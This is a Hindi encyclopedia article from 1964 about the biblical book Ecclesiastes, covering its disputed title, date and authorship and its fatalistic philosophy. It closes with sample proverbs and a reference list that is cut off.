एक्लेसिएस्तिस

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लेख सूचना
एक्लेसिएस्तिस
पुस्तक नाम हिन्दी विश्वकोश खण्ड 2
पृष्ठ संख्या 213
भाषा हिन्दी देवनागरी
संपादक सुधाकर पाण्डेय
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1964 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक विश्वंभरनाथ पांडेय

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एक्लेसिएस्तिस्‌ यहूदियों के धर्मग्रंथ 'ओल्ड टेस्टामेंट' अथवा 'पुराना अहदनामा' के अंतर्गत 'एक्लेसिएस्तिस्‌' एक उपयोगी ज्ञानग्रंथ है। इब्रानी भाषा में अब तक यह निश्चित नहीं हो पाया कि एक्लेसिएस्तिस्‌ का शाब्दिक अर्थ क्या है। कुछ लोग उसका अर्थ 'प्रचारक' बताते हैं और कुछ 'कोहेलेथ' अर्थात्‌ 'तार्किक'। एक्लेसिएस्तिस्‌ के रचनाकाल के संबंध में भी तीव्र मतभेद है। विशेषज्ञों के अनुसार उसका रचनाकाल 990 ई.पू. से 10 ई. पू. तक हो सकता है। टाईलर और डीन प्लंपत्रे के अनुसार इसका रचनाकाल 200 ई.पू. से 180 ई.पू. के बीच का है। एक्लेसिएस्तिस्‌ के रचयिता के संबंध में भी तीव्र मतभेद है। कुछ विद्वानों के अनुसार इसके रचयिता स्वयं सालोमन अथवा सुलेमान थे किंतु कुछ के अनुसार यह पुस्तक सिराक ने मकाबीस के समय में लिखी।

विषय के अनुसार पुस्तक को चार भागों में विभक्त किया जा सकता है। ऐसा प्रतीत होता है कि पहला भाग किसी निराशावादी दार्शनिक का लिखा हुआ है तो दूसरा भाग किसी भौतिकवादी का; तीसरा भाग नैतिकता के पूरे महत्व को समझनेवाले संत का लिखा है, तो चौथा भाग किसी रूढ़िवादी संपादक का।

पुस्तक के मूल सिद्धांत के अनुसार यह जगत्‌ अगोचर शक्तियों से संचालित और अक्षय नियमों द्वारा अनुप्राणित होता है। सृजन की महान्‌ चक्राकार परिधि में यह संसार अपने अटूट नियमों द्वारा स्वयं चालित होता है। सूर्योदय और सूर्यास्त अपने आप होते रहते हैं। इनके अनुक्रम को नहीं रोका जा सकता। सृजन का यह महान्‌ चक्र क्यों घूमता है, आज तक यह किसी को ज्ञात नहीं हो सका। किस उद्देश्य से इस संसार की रचना की गई, इसे भी कोई नहीं बता सकता। सार रूप में यही एक्लेसिएस्तिस्‌ का जीवनदर्शन है।

एक्लेसिएस्तिस्‌ के अनुसार मनुष्य सर्वथा भाग्य के हाथों में रहता है। यहाँ बलवान पराजित हो जाते हैं और निर्बल जीत जाते हैं। सांसारिक धन संपदा का भी कोई स्थायी मूल्य नहीं है। मनुष्य इस संसार में नंगा ही जन्म लेता है और जब यहाँ से जाता है तो नंगा ही जाता है। ज्ञानी और मूर्ख दोनों को मृत्यु एक समान गले लगाती है। एक्लेसिएस्तिस्‌ के अनुसार स्त्री एक जाल और अभिशाप है। ग्रंथकार उस समय चरम निराशा से भर जाता है जब वह देखता है कि पुण्यात्मा मनुष्यों को जीवन भर दु:खों का भार वहन करना पड़ता है जब कि पापी मनुष्य सुखभोग करते हैं। एक्लेसिएस्तिस्‌ के अनुसार आत्मा का भविष्य अनिश्चित है। परमात्मा सृष्टि का निर्माता और शासक है। वह सृजन के महान्‌ यंत्र का संचालक है, जो यंत्र निर्दयता के साथ मानव के भाग्यों को पीसता रहता है। आत्मा का परमात्मा के साथ न संपर्क हो सकता है और न सम्मेलन। वह नैतिक आचरण का आधार ईश्वरीय नियमों को नहीं, वरन्‌ मानवीय अनुभवों को मानता है।

एक्लेसिएस्तिस्‌ में नीतिवचनों का बड़ा सुंदर संग्रह है, उदाहरणार्थ, 'कोई मनुष्य गुनाहों से मुक्त नहीं', 'एक जीवित कुत्ता मृतक सिंह की अपेक्षा उत्तम है', 'व्यापार में बुद्धि और निर्णय से काम लो', 'कार्य करो और उत्तम परिणाम की आशा रखो', आदि।[१]2)।


टीका टिप्पणी और संदर्भ

  1. सं.ग्रं.-एच.रैंस्टन : एक्लेसिएस्तिस्‌ ऐंड दि अर्ली ग्रीक विज़डम लिटरेचर (1925); जी.टी.बेटान्नी : हिस्ट्री ऑव जूडाइज्म़ ऐंड क्रिश्चियानिटी (181